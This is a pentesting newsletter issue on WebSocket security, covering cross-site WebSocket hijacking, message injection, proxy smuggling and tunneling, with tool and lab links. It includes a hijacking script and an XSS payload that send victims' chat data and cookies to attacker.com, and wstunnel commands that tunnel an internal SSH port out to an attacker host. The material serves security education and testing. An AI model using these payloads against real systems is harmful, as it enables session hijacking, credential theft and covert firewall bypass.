WebSocket Security: Hijacking, Injection, and Tunneling
7 min read
April 26, 2026

Table of contents
👋 Introduction
Hey everyone!
Last issue was CI/CD pipelines as attack surface. This week, the real-time channel.
WebSockets are everywhere: live notifications, collaborative editors, trading dashboards, chat systems, multiplayer games. The connection starts as HTTP and then upgrades, and at that point the security model changes completely. SameSite cookies, CSRF tokens, same-origin policy… none of these apply the same way once you’re in a persistent, bidirectional WebSocket connection. Developers who are careful with their REST endpoints often leave the WebSocket layer wide open.
This week: how the upgrade handshake exposes applications to cross-site session hijacking, how to manipulate messages for XSS and injection attacks, and how WebSockets can tunnel traffic right through corporate firewalls.
Let’s get into it 👇
🤝 The Handshake: What Attackers Look For
A WebSocket connection starts with an HTTP upgrade request:
GET /chat HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://target.com
Cookie: session=abc123
The server responds with 101 Switching Protocols and both sides send messages freely from that point. Two things to check immediately: is the Origin header validated server-side? Are there any CSRF tokens or additional secrets in the handshake? If the answer to both is no, you have the conditions for cross-site WebSocket hijacking.
Sec-WebSocket-Key is a nonce to prevent caching proxy issues. It is not authentication. Do not confuse it for a CSRF token.
💀 Cross-Site WebSocket Hijacking (CSWSH)
CSWSH is CSRF for WebSockets. Browsers send cookies with every WebSocket upgrade request, including requests initiated from a cross-origin page. If the server authenticates solely via session cookie and never checks the Origin header, an attacker’s page can open a WebSocket connection in the victim’s name.
<script>
var ws = new WebSocket('wss://vulnerable-target.com/chat');
ws.onopen = function() {
ws.send('READY'); // trigger server to send history
};
ws.onmessage = function(event) {
fetch('https://attacker.com/?d=' + btoa(event.data));
};
</script>
Host this on any page. When the logged-in victim visits it, their browser attaches the session cookie to the upgrade request. The server accepts it. You receive their chat history and can send arbitrary messages as them.
Unlike standard CSRF, CSWSH is two-way. You get both read and write access to the victim’s session. CVE-2023-0957 in Gitpod is the canonical high-impact example: no origin validation on the JSONRPC WebSocket API, CVSS 9.6 CRITICAL. The attack chain ran from a malicious link to SSH key injection and full workspace takeover. MeshCentral had the same class of vulnerability in CVE-2024-26135 (CVSS 8.8 HIGH), allowing full administrative takeover and session cookie signing key extraction.
Detection in Burp: intercept the WebSocket handshake, modify the Origin header to https://attacker.com, and check if the server still returns 101. If it does, origin validation is absent.
The PortSwigger CSWSH lab has you exploit this against a live chat feature to exfiltrate credentials.
🔍 Message Manipulation: XSS, SQLi, and Business Logic
Once connected, the WebSocket messages are the attack surface. Burp Suite logs all WebSocket traffic in Proxy > WebSockets history. Send any message to Repeater for modification and replay.
The gap: input validation logic that applies to HTTP requests often doesn’t apply to WebSocket message handlers. A web app that carefully sanitizes form submissions may process WebSocket JSON directly without any filtering.
{"action": "updateName", "value": "<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>"}
If the server stores this and reflects it in an admin panel or another user’s screen, you have stored XSS. SQL injection follows the same pattern: swap the XSS payload for a quote character and watch for errors.
Business logic abuse is even simpler. If a checkout flow sends:
{"action": "applyDiscount", "code": "SAVE10", "amount": 10}
Try modifying amount to 100 directly in the WebSocket message. The server-side check may only validate the code, not the amount, since the expected flow always sends the correct value from the client.
The message manipulation lab demonstrates bypassing client-side HTML encoding by intercepting at the WebSocket layer before the browser’s own encoding runs.
🌐 WebSocket Smuggling and Tunneling
WebSocket smuggling exploits how reverse proxies handle upgrade handshakes. The attack (documented at 0ang3el/websocket-smuggle) sends an upgrade request with an invalid Sec-WebSocket-Version value. The proxy forwards it anyway without validating. The backend rejects it with a 426. The proxy ignores the 426 and keeps the TCP tunnel open.
The result: a persistent raw connection to the backend through which you send arbitrary HTTP requests to internal APIs, bypassing the proxy’s access controls. This is the same internal access vector as the SSRF techniques in Issue 4, but using WebSocket upgrade as the transport.
For lateral movement, wstunnel tunnels arbitrary TCP or UDP traffic inside WebSocket frames over port 443. Firewalls and DPI systems that allow HTTPS through typically can’t distinguish WebSocket traffic from normal web traffic. Used offensively to establish covert channels or reach internal services through corporate proxies.
# Server side (on your VPS)
wstunnel server --log-lvl INFO wss://0.0.0.0:443
# Client side (from inside the target network, tunneling internal port to attacker)
wstunnel client -L tcp://127.0.0.1:2222:internal-host:22 wss://attacker.com:443
🛠 Tooling
wsrepl by Doyensec is the best interactive REPL for WebSocket pentesting. It accepts curl-style arguments from Burp or browser DevTools, supports a Python plugin framework for multi-step automation, and shows full RFC 6455 opcode transparency.
wscat is the quick option for manual interaction:
npm install -g wscat
# Connect with custom headers (pass session cookie)
wscat -c "wss://target.com/ws" -H "Cookie: session=abc123"
# Connect and send a single message then close
wscat -c "wss://target.com/ws" --execute '{"type":"ping"}' --wait 1
websocat handles bridging and tunneling scenarios, connecting WebSocket streams to TCP, UNIX sockets, or stdin/stdout. Useful when chaining with other tools in a pipeline.
SocketSleuth is a Burp Suite extension adding a WebSocket-specific Intruder, JSONRPC method discovery, and AutoRepeater for authorization testing across WebSocket messages.
🎯 Key Takeaways
CSWSH exploits the fact that browsers send session cookies with WebSocket upgrade requests regardless of the requesting page’s origin. Any endpoint relying on cookies without validating the Origin header is vulnerable. The impact is two-way session control: read data the victim can access, send actions as them. The fix is always server-side origin validation.
Message manipulation fills the gap that HTTP-aware defenses leave open. WebSocket message handlers frequently skip input validation that REST endpoints enforce. Test every JSON field, every action type, with the same payloads you’d use against HTTP parameters.
For tunneling and smuggling: if WebSocket connections are allowed outbound, wstunnel hides TCP traffic inside them. If a proxy doesn’t validate the upgrade response, websocket-smuggle creates raw tunnels to internal services. Both are worth testing when you’re looking for egress paths or internal access from a compromised host.
Practice:
- PortSwigger Web Security Academy: WebSockets - full topic with CSWSH, handshake manipulation, message injection
- Lab: Cross-site WebSocket hijacking - exfiltrate chat history to steal victim credentials
- Lab: Manipulating WebSocket messages - bypass client-side encoding for stored XSS
- Lab: Manipulating the WebSocket handshake - IP ban bypass and obfuscated payload injection
- OWASP WebSocket Security Cheat Sheet - origin validation, CSRF tokens, WSS enforcement
- wsrepl GitHub - interactive WebSocket REPL for pentesting
- websocket-smuggle GitHub - proxy bypass via WebSocket upgrade exploitation
- wstunnel GitHub - TCP/UDP tunneling over WebSocket for firewall bypass
Thanks for reading, and happy hunting!
— Ruben
Other Issues
Previous Issue
Next Issue
💬 Comments Available
Drop your thoughts in the comments below! Found a bug or have feedback? Let me know.